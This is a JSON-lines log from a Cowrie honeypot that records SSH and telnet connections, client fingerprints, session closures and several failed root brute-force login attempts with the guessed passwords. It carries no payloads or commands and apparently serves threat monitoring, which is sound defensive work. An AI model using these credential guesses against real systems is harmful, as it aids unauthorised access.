{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38426,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e171cdfd294","protocol":"telnet","message":"New connection: 192.119.13.58:38426 (10.17.0.5:23) [session: 8e171cdfd294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:47.040351Z"}
{"eventid":"cowrie.session.closed","duration":2.2144877910614014,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:47.398184Z","src_ip":"192.119.13.58","session":"add21598faf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:48.082875Z","src_ip":"2.57.121.25","session":"d2d1b3a9dc73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.06261205673218,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:48.511523Z","src_ip":"192.119.13.58","session":"a3775d0d3690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":46326,"dst_ip":"159.203.135.109","dst_port":22,"session":"a26b57255df1","protocol":"ssh","message":"New connection: 43.135.182.46:46326 (159.203.135.109:22) [session: a26b57255df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:48.757120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:48.762203Z","src_ip":"43.135.182.46","session":"a26b57255df1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:48.831177Z","src_ip":"43.135.182.46","session":"a26b57255df1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webpass","message":"login attempt [root/webpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:49.138598Z","src_ip":"43.135.182.46","session":"a26b57255df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:50.211138Z","src_ip":"43.135.182.46","session":"a26b57255df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.22390627861023,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:55.556267Z","src_ip":"192.119.13.58","session":"ad2fe931ff0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":42338,"dst_ip":"159.203.135.109","dst_port":22,"session":"0533b2d1c734","protocol":"ssh","message":"New connection: 103.82.132.16:42338 (159.203.135.109:22) [session: 0533b2d1c734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:55.983778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:55.989316Z","src_ip":"103.82.132.16","session":"0533b2d1c734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:56.251777Z","src_ip":"103.82.132.16","session":"0533b2d1c734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:57.034965Z","src_ip":"103.82.132.16","session":"0533b2d1c734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52060,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbae900b1d00","protocol":"telnet","message":"New connection: 192.119.13.58:52060 (10.17.0.5:23) [session: fbae900b1d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:57.556672Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:58.297942Z","src_ip":"103.82.132.16","session":"0533b2d1c734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.38783526420593,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:00.781200Z","src_ip":"192.119.13.58","session":"47cb1d1c2051","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.06082606315613,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:02.408485Z","src_ip":"192.119.13.58","session":"a4cf344f88da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":59098,"dst_ip":"159.203.135.109","dst_port":22,"session":"90b8ca4c18a1","protocol":"ssh","message":"New connection: 103.166.103.173:59098 (159.203.135.109:22) [session: 90b8ca4c18a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:05.327461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:05.334912Z","src_ip":"103.166.103.173","session":"90b8ca4c18a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:05.570331Z","src_ip":"103.166.103.173","session":"90b8ca4c18a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"melina","message":"login attempt [root/melina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:06.538166Z","src_ip":"103.166.103.173","session":"90b8ca4c18a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.313366651535034,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:06.751205Z","src_ip":"192.119.13.58","session":"350085f74a54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.55219006538391,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:07.599461Z","src_ip":"192.119.13.58","session":"39b3fb010e0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:07.775388Z","src_ip":"103.166.103.173","session":"90b8ca4c18a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.766462326049805,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:12.085108Z","src_ip":"192.119.13.58","session":"7cc5972853f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.7732355594635,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:17.705686Z","src_ip":"192.119.13.58","session":"2392ee70487a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":17054,"dst_ip":"10.17.0.5","dst_port":22,"session":"aff672354c36","protocol":"ssh","message":"New connection: 94.26.106.201:17054 (10.17.0.5:22) [session: aff672354c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:17.737532Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:17.748346Z","src_ip":"94.26.106.201","session":"aff672354c36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48962,"dst_ip":"10.17.0.5","dst_port":23,"session":"a40754e78ba0","protocol":"telnet","message":"New connection: 192.119.13.58:48962 (10.17.0.5:23) [session: a40754e78ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:18.164296Z"}
{"eventid":"cowrie.session.closed","duration":40.00243425369263,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:18.794904Z","src_ip":"192.119.13.58","session":"28973bf6ee7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":27532,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b365a01041a","protocol":"ssh","message":"New connection: 94.26.106.201:27532 (10.17.0.5:22) [session: 7b365a01041a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:18.868967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:18.874094Z","src_ip":"94.26.106.201","session":"7b365a01041a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:18.959342Z","src_ip":"94.26.106.201","session":"7b365a01041a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:19.131993Z","src_ip":"94.26.106.201","session":"7b365a01041a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:20.221997Z","src_ip":"94.26.106.201","session":"7b365a01041a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.8840606212616,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:23.924320Z","src_ip":"192.119.13.58","session":"8e171cdfd294","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47618,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eeb870e9d43","protocol":"telnet","message":"New connection: 192.119.13.58:47618 (10.17.0.5:23) [session: 0eeb870e9d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:24.212488Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38272,"dst_ip":"10.17.0.5","dst_port":23,"session":"36b73992b114","protocol":"telnet","message":"New connection: 192.119.13.58:38272 (10.17.0.5:23) [session: 36b73992b114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:29.319521Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":41814,"dst_ip":"159.203.135.109","dst_port":22,"session":"cacad53583c3","protocol":"ssh","message":"New connection: 38.93.206.2:41814 (159.203.135.109:22) [session: cacad53583c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:30.913241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:30.921615Z","src_ip":"38.93.206.2","session":"cacad53583c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:30.972269Z","src_ip":"38.93.206.2","session":"cacad53583c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aeynbr","message":"login attempt [root/aeynbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:31.133900Z","src_ip":"38.93.206.2","session":"cacad53583c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:32.187850Z","src_ip":"38.93.206.2","session":"cacad53583c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":35940,"dst_ip":"159.203.135.109","dst_port":22,"session":"8be24212af16","protocol":"ssh","message":"New connection: 43.135.129.144:35940 (159.203.135.109:22) [session: 8be24212af16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:35.579777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:35.585236Z","src_ip":"43.135.129.144","session":"8be24212af16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:35.655086Z","src_ip":"43.135.129.144","session":"8be24212af16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sidney123","message":"login attempt [root/sidney123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:35.962174Z","src_ip":"43.135.129.144","session":"8be24212af16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:37.035210Z","src_ip":"43.135.129.144","session":"8be24212af16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59486,"dst_ip":"10.17.0.5","dst_port":23,"session":"f795ce9f2e1f","protocol":"telnet","message":"New connection: 192.119.13.58:59486 (10.17.0.5:23) [session: f795ce9f2e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:38.996035Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45168,"dst_ip":"10.17.0.5","dst_port":23,"session":"78a552785350","protocol":"telnet","message":"New connection: 192.119.13.58:45168 (10.17.0.5:23) [session: 78a552785350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:41.783998Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51454,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cc5387d85a6","protocol":"telnet","message":"New connection: 192.119.13.58:51454 (10.17.0.5:23) [session: 9cc5387d85a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:43.134722Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":54744,"dst_ip":"10.17.0.5","dst_port":22,"session":"99a309fc9818","protocol":"ssh","message":"New connection: 43.153.104.156:54744 (10.17.0.5:22) [session: 99a309fc9818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:44.460901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:44.465877Z","src_ip":"43.153.104.156","session":"99a309fc9818","protocol":"ssh"}
